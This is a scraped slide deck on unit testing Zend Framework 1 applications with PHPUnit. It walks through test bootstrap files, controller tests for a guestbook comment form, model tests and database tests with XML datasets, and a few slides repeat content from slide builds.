  • 13. Database Testing ‱- tests the functionality of your database referred to as “integration testing” ‱- checks functionality CRUD - stored procedures - triggers and constraints ‱ veriïŹes no mystery data changes happen - UTF-8 in = UTF-8 out
  • 16. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite> <!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> <logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging> </phpunit>
  • 17. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 19. ControllerTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/ControllerTestCase.php'; abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase { protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module } }
  • 20. Directory Strategy /application /tests /configs /application /controllers /controllers /forms /forms /models /models /modules /modules /guestbook /guestbook /apis /apis /controllers /controllers /forms /forms /models /models /views /helpers /filters /scripts /views /helpers /filters /scripts /library /public /tests
  • 22. Homepage testing <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class IndexControllerTest extends ControllerTestCase { public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); } }
  • 28. Simple comment form <?php class Application_Form_Comment extends Zend_Form { public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); } }
  • 29. CommentController <?php class CommentController extends Zend_Controller_Action { protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); } public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; } }
  • 30. Comment processing <?php class CommentController extends Zend_Controller_Action { 
 public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; } }
  • 31. Views <!-- file: application/views/scripts/comment/index.phtml --> <?php echo $this->form ?> <!-- file: application/views/scripts/comment/send-comment.phtml --> <dl> <?php if (isset ($this->values['website'])): ?> <dt id="fullName"><a href="<?php echo $this->escape($this->values ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></ dt> <?php else: ?> <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt> <?php endif; ?> <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd> </dl>
  • 35. Starting simple <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class CommentControllerTest extends ControllerTestCase { public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); } $this->assertQueryCount('input[type="text"]', 3); $this->assertQueryCount('textarea', 1); } $this->assertQueryCount('textarea', 1);
  • 36. GET request = index ? public function testSubmitFailsWhenNotPost() { $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 37. Can we submit our form ? public function testCanWeSubmitOurForm() { $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment'); $this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test'); }
  • 38. All other cases ? /** * @dataProvider wrongDataProvider */ public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment) { $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 39. wrongDataProvider public function wrongDataProvider() { return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', '[email protected]', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', '[email protected]', str_repeat('a', 50001)), ); }
  • 49. Testing models ‱ uses core PHPUnit_Framework_TestCase class ‱ tests your business logic ! ‱ can run independent from other tests ‱- model testing !== database testing model testing tests the logic in your objects - database testing tests the data storage
  • 50. Model setUp/tearDown <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase { protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } 
 }
  • 51. Simple tests public function testGuestBookIsEmptyAtConstruct() { $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb)); } public function testGuestbookAddsEntry() { $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('[email protected]') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb)); }
  • 52. GuestbookEntry tests 
 public function gbEntryProvider() { return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => '[email protected]', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), ); } /** * @dataProvider gbEntryProvider * @param $data */ public function testEntryCanBePopulatedAtConstruct($data) { $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray()); } 

  • 57. Database Testing ‱- integration testing seeing records are getting updated - data models behave as expected - data doesn't change encoding (UTF-8 to Latin1) ‱ database behaviour testing - CRUD - stored procedures - triggers - master/slave - cluster - sharding
  • 58. Caveats ‱- database should be reset in a “known state” no inïŹ‚uence from other tests ‱- system failures cause the test to fail connection problems ‱- unpredictable data ïŹelds or types auto increment ïŹelds - date ïŹelds w/ CURRENT_TIMESTAMP
  • 60. Model => database <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase { 
 } Becomes <?php require_once TEST_PATH . '/DatabaseTestCase.php'; class Application_Model_GuestbookEntryTest extends DatabaseTestCase { 
 }
  • 61. DatabaseTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php'; require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php'; abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase { private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } 

  • 62. DatabaseTestCase.php (2) 
 public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); } }
  • 63. _ïŹles/initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry id="1" fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan
 liking this very much"/> 
 </dataset>
  • 64. A simple DB test public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds); }
  • 65. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml
  • 69. Changing records public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds ); }
  • 70. Expected resultset <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi- council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="[email protected]" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/> </dataset>
  • 71. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml
  • 76. Desire vs Reality ‱- desire +70% code coverage - test driven development - clean separation of tests ‱- reality test what counts ïŹrst (business logic) - discover the “unknowns” and test them - combine unit tests with integration tests
  • 77. Automation ‱- using a CI system continuous running your tests - reports immediately when failure - provides extra information ‣ copy/paste detection ‣ mess detection &dependency calculations ‣ lines of code ‣ code coverage ‣ story board and test documentation ‣ 

  • 78. Questions ‱ http://slideshare.net/DragonBe/unit-testing-after-zf-18 ‱ http://github.com/DragonBe/zfunittest ‱ http://twitter.com/DragonBe ‱ http://facebook.com/DragonBe ‱ http://joind.in/2243